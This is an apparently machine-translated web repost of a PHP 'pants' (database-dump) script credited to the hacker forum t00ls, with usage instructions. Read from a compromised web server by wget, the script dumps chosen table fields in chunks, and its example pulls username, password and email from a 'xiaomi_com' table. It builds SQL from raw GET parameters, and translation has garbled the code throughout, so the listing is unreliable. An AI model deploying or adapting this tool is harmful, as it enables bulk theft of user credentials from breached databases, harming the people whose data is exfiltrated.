PHP wget Enhanced Pants Script (PDO MYSQL)

Source: Internet
Author: User
Tags dsn

The script references the post of LCX Gavin2. Thank you very much for that.

Https://www.t00ls.net/thread-26740-1-1.html

Https://www.t00ls.net/thread-26791-1-1.html

Description: The script supports PDO and MySQL 2 ways to prioritize using PDO. If the server does not support PDO, choose MySQL mode. I think the benefits of PDO are high efficiency code simple and universal Good this code can be changed to take off the MSSQL

But the combination of PHP and MSSQL should not be much-!

Use the method first to configure the host address port database name User name password and the database encoding method (common GPK or UTF8 settings are not correct in the text field may appear garbled);

Then it is the URL address that constructs the wget: parameters are passed to the server by $_get

t=//must be a table name or the program will exit

f=//optional fields to be undressed are separated by commas

s=//selectable starting position if not set starting from 0

e=//Optional end position if not set to all data

l=//Optional segment length is set to 5000 by default

Execute wget "http://localhost/getsql.php?t= ' xiaomi_com ' &f=username,password,email&s=0&e= under the shell terminal 2000000$l=5000 "-O data.txt then wait to download

Code:

<?PHP//How to use: wget "http://localhost/getsql.php?t= ' xiaomi_com ' &f=username,password,email&s=0&e=2000000$l =5000 "-O data.txt//borrowed from the script of LCX Gavin 2 Elder.//LCX [url=https://www.t00ls.net/thread-26740-1-1.html] https://www.t00ls.net/thread-26740-1-1.html[/url]//Gavin [url=https://www.t00ls.net/thread-26791-1-1.html] https://www.t00ls.net/thread-26791-1-1.html[/url]//        error_reporting(0); Ignore_user_abort(); Set_time_limit(0); Ob_clean(); Define(' Db_host ', ' 127.0.0.1 '); Define(' Db_port ', ' 3306 '); Define(' db_name ', ' thinkphp '); Define(' Db_user ', ' root '); Define(' Db_pass ', ' Wanan '); Define(' Db_char ', ' UTF8 '); $type=class_exists(' PDO ')? ' PDO ': ' MYSQL '; $table=$_get[' t ']?$_get[' t ']: die(' Table name must be! ');//table name must be T        $limit _start=$_get[' s ']?intval($_get[' s ']): 0;//start number optional s default is 0        $limit _end=$_get[' E ']?intval($_get[' E ']): 0;//End Bar Number optional e defaults to all        $limit _length=$_get[' l ']?intval($_get[' l ']) : 5000;//number of segment bars optional L default to        $filed=$_get[' F ']?$_get[' F ']: ' * ';//field name optional F, split no then all fields        if($type= = ' PDO '){                $dsn= ' mysql:host= '. Db_host. '; Port= '. Db_port. '; Dbname= '.db_name; $options=Array(PDO:: Mysql_attr_init_command = ' SET NAMES '. Db_char,                ); Try{                                 $DBH=NewPDO ($dsn, Db_user,db_pass,$options); }Catch(pdoexception$e) {                         die(' PDO error! '); }                $sql= ' SELECT COUNT ( -1) from '.$table.‘ ;; $do=$DBH->query ($sql); if($do){                        $count=$do-fetch (); }Else{                         die(' PDO COUNT ERROR '); }                $limit _end=($limit _end)?$limit _end:$count[0]; $limit _end=$limit _end-$limit _start; $limit _length=$limit _end>$limit _length?$limit _length:$limit _end; $section=Ceil($limit _end/$limit _length); if(Ob_get_level() = = 0){                                Ob_start(); }Else{                                 die(' PDO ERROR '); }                 for($i= 0;$i<$section;$i++){                        $sql= ' SELECT '.$filed.‘ From '.$table.‘ LIMIT '. ($limit _start+1+$i*$limit _length).‘,‘.$limit _length.‘;‘; $s=$DBH->query ($sql); $arr=$s->fetchall (PDO::FETCH_ASSOC); foreach($arr  as $value) {                                Echo(implode(‘ ‘,$value)." \ n "); }                        Ob_end_flush(); }        }Else{                $link=mysql_connect(Db_host. ': '). Db_pass,db_user,Db_pass); if($link){                        mysql_select_db(Db_name,$link); mysql_query(' SET NAMES '.Db_char); $sql= ' SELECT COUNT ( -1) from '.$table.‘ ;; $count=Mysql_fetch_array(mysql_query($sql)); $limit _end=($limit _end)?$limit _end:$count[0]; $limit _end=$limit _end-$limit _start; $limit _length=$limit _end>$limit _length?$limit _length:$limit _end; $section=Ceil($limit _end/$limit _length); if(Ob_get_level() = = 0){                                Ob_start(); }Else{                                 die(' MYSQL ERROR '); }                         for($i= 0;$i<$section;$i++){                                $sql= ' SELECT '.$filed.‘ From '.$table.‘ LIMIT '. ($limit _start+1+$i*$limit _length).‘,‘.$limit _length.‘;‘; $a=mysql_query($sql); if($b=Mysql_fetch_row($a)){                                         Do{                                                Echo(implode(‘ ‘,$b)." \ n "); } while($b=Mysql_fetch_row($a)); }                                Ob_end_flush(); }                }Else{                         die(' MYSQL error! '); }        }                ?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.